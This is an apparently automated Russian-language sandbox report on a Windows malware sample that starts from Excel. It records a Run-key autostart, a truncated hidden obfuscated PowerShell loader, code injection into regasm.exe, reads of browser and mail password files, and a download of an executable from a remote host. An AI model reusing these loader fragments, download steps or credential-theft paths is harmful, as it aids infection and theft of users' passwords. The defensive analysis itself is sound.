Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'TGMDTFpG' = '%APPDATA%\CUACxoY\RYAAZ.exe'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function h8d84 {param($fbb6c6)$p112a2='h57367';$gee9a='';for ($i=0; $i -lt $fbb6c6.length;$i+=2){$jc126ac=[convert]::ToByte($fbb6c6.Substring($i,2),16);$gee9a+=[char]($jc1...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\i0su22qq.0.cs
- %TEMP%\res9ba6.tmp
- %TEMP%\csc9ba5.tmp
- %TEMP%\bple-_q5.out
- %TEMP%\bple-_q5.cmdline
- %TEMP%\bple-_q5.0.cs
- %TEMP%\6jc-ubpp.dll
- %TEMP%\res4df4.tmp
- %TEMP%\csc4de3.tmp
- %TEMP%\6jc-ubpp.out
- %TEMP%\6jc-ubpp.cmdline
- %TEMP%\6jc-ubpp.0.cs
- %TEMP%\5mlipqch.dll
- %TEMP%\res349f.tmp
- %TEMP%\csc347f.tmp
- %TEMP%\5mlipqch.out
- %TEMP%\5mlipqch.cmdline
- %TEMP%\5mlipqch.0.cs
- %TEMP%\xfwg76ko.dll
- %TEMP%\res1715.tmp
- %TEMP%\bple-_q5.dll
- %TEMP%\2roazlhn.cmdline
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\2roazlhn.out
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\cuacxoy\ryaaz.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6b9c9b19-d15f-4202-8464-afa3f8161c35}.tmp
- %TEMP%\awavon_i.dll
- %TEMP%\resedce.tmp
- %TEMP%\cscedbd.tmp
- %TEMP%\awavon_i.out
- %TEMP%\awavon_i.cmdline
- %TEMP%\awavon_i.0.cs
- %TEMP%\tlagjn4s.dll
- %TEMP%\resd2b4.tmp
- %TEMP%\cscd2a4.tmp
- %TEMP%\tlagjn4s.out
- %TEMP%\tlagjn4s.cmdline
- %TEMP%\tlagjn4s.0.cs
- %TEMP%\2roazlhn.dll
- %TEMP%\resb7ca.tmp
- %TEMP%\cscb7b9.tmp
- %TEMP%\csc1704.tmp
- %TEMP%\2roazlhn.0.cs
- %TEMP%\xfwg76ko.out
- %TEMP%\cscb983.tmp
- %TEMP%\sxcf9t3q.cmdline
- %TEMP%\sxcf9t3q.0.cs
- %TEMP%\snnhbrba.dll
- %TEMP%\1oz-efub.dll
- %TEMP%\res9e5b.tmp
- %TEMP%\res9d70.tmp
- %TEMP%\i0su22qq.dll
- %TEMP%\res9cf3.tmp
- %TEMP%\csc9e4a.tmp
- %TEMP%\csc9d60.tmp
- %TEMP%\csc9ce3.tmp
- %TEMP%\1oz-efub.out
- %TEMP%\1oz-efub.cmdline
- %TEMP%\1oz-efub.0.cs
- %TEMP%\snnhbrba.out
- %TEMP%\snnhbrba.cmdline
- %TEMP%\snnhbrba.0.cs
- %TEMP%\i0su22qq.out
- %TEMP%\i0su22qq.cmdline
- %TEMP%\sxcf9t3q.out
- %TEMP%\resb993.tmp
- %TEMP%\xfwg76ko.0.cs
- %TEMP%\sxcf9t3q.dll
- %TEMP%\vidmsk6d.dll
- %TEMP%\resf8a0.tmp
- %TEMP%\cscf88f.tmp
- %TEMP%\vidmsk6d.out
- %TEMP%\vidmsk6d.cmdline
- %TEMP%\vidmsk6d.0.cs
- %APPDATA%\q82e3d2.exe
- %TEMP%\uh4o5w0h.dll
- %TEMP%\rese2a7.tmp
- %TEMP%\csce296.tmp
- %TEMP%\uh4o5w0h.out
- %TEMP%\uh4o5w0h.cmdline
- %TEMP%\uh4o5w0h.0.cs
- %TEMP%\acvjolvv.dll
- %TEMP%\rescc50.tmp
- %TEMP%\csccc40.tmp
- %TEMP%\acvjolvv.out
- %TEMP%\acvjolvv.cmdline
- %TEMP%\acvjolvv.0.cs
- %TEMP%\xfwg76ko.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Удаляет следующие файлы
- %TEMP%\res9cf3.tmp
- %TEMP%\res9ba6.tmp
- %TEMP%\6jc-ubpp.dll
- %TEMP%\6jc-ubpp.pdb
- %TEMP%\6jc-ubpp.0.cs
- %TEMP%\6jc-ubpp.out
- %TEMP%\6jc-ubpp.cmdline
- %TEMP%\csc4de3.tmp
- %TEMP%\res4df4.tmp
- %TEMP%\5mlipqch.out
- %TEMP%\bple-_q5.out
- %TEMP%\csc9ba5.tmp
- %TEMP%\5mlipqch.pdb
- %TEMP%\5mlipqch.dll
- %TEMP%\csc347f.tmp
- %TEMP%\res349f.tmp
- %TEMP%\xfwg76ko.dll
- %TEMP%\xfwg76ko.cmdline
- %TEMP%\xfwg76ko.0.cs
- %TEMP%\xfwg76ko.pdb
- %TEMP%\xfwg76ko.out
- %TEMP%\5mlipqch.cmdline
- %TEMP%\sxcf9t3q.dll
- %TEMP%\bple-_q5.dll
- %TEMP%\awavon_i.dll
- %TEMP%\awavon_i.0.cs
- %TEMP%\awavon_i.out
- %TEMP%\cscedbd.tmp
- %TEMP%\resedce.tmp
- %TEMP%\tlagjn4s.cmdline
- %TEMP%\tlagjn4s.pdb
- %TEMP%\tlagjn4s.dll
- %TEMP%\tlagjn4s.0.cs
- %TEMP%\tlagjn4s.out
- %TEMP%\cscd2a4.tmp
- %TEMP%\resd2b4.tmp
- %TEMP%\2roazlhn.dll
- %TEMP%\2roazlhn.cmdline
- %TEMP%\2roazlhn.pdb
- %TEMP%\2roazlhn.0.cs
- %TEMP%\2roazlhn.out
- %TEMP%\cscb7b9.tmp
- %TEMP%\resb7ca.tmp
- %TEMP%\bple-_q5.0.cs
- %TEMP%\bple-_q5.cmdline
- %TEMP%\csc1704.tmp
- %TEMP%\5mlipqch.0.cs
- %TEMP%\res1715.tmp
- %TEMP%\vidmsk6d.cmdline
- %TEMP%\vidmsk6d.0.cs
- %TEMP%\1oz-efub.out
- %TEMP%\snnhbrba.pdb
- %TEMP%\snnhbrba.0.cs
- %TEMP%\snnhbrba.cmdline
- %TEMP%\snnhbrba.dll
- %TEMP%\snnhbrba.out
- %TEMP%\csc9e4a.tmp
- %TEMP%\res9e5b.tmp
- %TEMP%\1oz-efub.0.cs
- %TEMP%\1oz-efub.cmdline
- %TEMP%\1oz-efub.pdb
- %TEMP%\cscb983.tmp
- %TEMP%\1oz-efub.dll
- %TEMP%\csc9d60.tmp
- %TEMP%\res9d70.tmp
- %TEMP%\i0su22qq.out
- %TEMP%\i0su22qq.0.cs
- %TEMP%\i0su22qq.pdb
- %TEMP%\i0su22qq.cmdline
- %TEMP%\i0su22qq.dll
- %TEMP%\csc9ce3.tmp
- %TEMP%\awavon_i.pdb
- %TEMP%\bple-_q5.pdb
- %TEMP%\sxcf9t3q.0.cs
- %TEMP%\sxcf9t3q.cmdline
- %TEMP%\resb993.tmp
- %TEMP%\vidmsk6d.out
- %TEMP%\vidmsk6d.pdb
- %TEMP%\vidmsk6d.dll
- %TEMP%\cscf88f.tmp
- %TEMP%\resf8a0.tmp
- %TEMP%\uh4o5w0h.dll
- %TEMP%\uh4o5w0h.cmdline
- %TEMP%\uh4o5w0h.out
- %TEMP%\uh4o5w0h.0.cs
- %TEMP%\uh4o5w0h.pdb
- %TEMP%\csce296.tmp
- %TEMP%\rese2a7.tmp
- %TEMP%\acvjolvv.pdb
- %TEMP%\acvjolvv.dll
- %TEMP%\acvjolvv.cmdline
- %TEMP%\acvjolvv.0.cs
- %TEMP%\acvjolvv.out
- %TEMP%\csccc40.tmp
- %TEMP%\rescc50.tmp
- %TEMP%\sxcf9t3q.pdb
- %TEMP%\sxcf9t3q.out
- %TEMP%\awavon_i.cmdline
Сетевая активность
TCP
Запросы HTTP GET
- http://dr######i-8272.babyblue.jp/blessed/eeeee.exe
UDP
- DNS ASK dr######i-8272.babyblue.jp
Другое
Создает и запускает на исполнение
- '%APPDATA%\q82e3d2.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function h8d84 {param($fbb6c6)$p112a2='h57367';$gee9a='';for ($i=0; $i -lt $fbb6c6.length;$i+=2){$jc126ac=[convert]::ToByte($fbb6c6.Substring($i,2),16);$gee9a+=[char]($jc1...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD2B4.tmp" "%TEMP%\CSCD2A4.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tlagjn4s.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB7CA.tmp" "%TEMP%\CSCB7B9.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2roazlhn.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9BA6.tmp" "%TEMP%\CSC9BA5.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bple-_q5.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DF4.tmp" "%TEMP%\CSC4DE3.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6jc-ubpp.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES349F.tmp" "%TEMP%\CSC347F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5mlipqch.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1715.tmp" "%TEMP%\CSC1704.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xfwg76ko.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF8A0.tmp" "%TEMP%\CSCF88F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vidmsk6d.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE2A7.tmp" "%TEMP%\CSCE296.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uh4o5w0h.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCC50.tmp" "%TEMP%\CSCCC40.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\acvjolvv.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB993.tmp" "%TEMP%\CSCB983.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sxcf9t3q.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9E5B.tmp" "%TEMP%\CSC9E4A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9D70.tmp" "%TEMP%\CSC9D60.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9CF3.tmp" "%TEMP%\CSC9CE3.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\snnhbrba.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0su22qq.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1oz-efub.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\awavon_i.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEDCE.tmp" "%TEMP%\CSCEDBD.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEDCE.tmp" "%TEMP%\CSCEDBD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\awavon_i.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD2B4.tmp" "%TEMP%\CSCD2A4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tlagjn4s.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB7CA.tmp" "%TEMP%\CSCB7B9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2roazlhn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9BA6.tmp" "%TEMP%\CSC9BA5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bple-_q5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4DF4.tmp" "%TEMP%\CSC4DE3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6jc-ubpp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES349F.tmp" "%TEMP%\CSC347F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5mlipqch.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1715.tmp" "%TEMP%\CSC1704.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xfwg76ko.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vidmsk6d.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE2A7.tmp" "%TEMP%\CSCE296.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uh4o5w0h.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCC50.tmp" "%TEMP%\CSCCC40.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\acvjolvv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB993.tmp" "%TEMP%\CSCB983.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sxcf9t3q.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9E5B.tmp" "%TEMP%\CSC9E4A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9D70.tmp" "%TEMP%\CSC9D60.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9CF3.tmp" "%TEMP%\CSC9CE3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\snnhbrba.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0su22qq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1oz-efub.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF8A0.tmp" "%TEMP%\CSCF88F.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
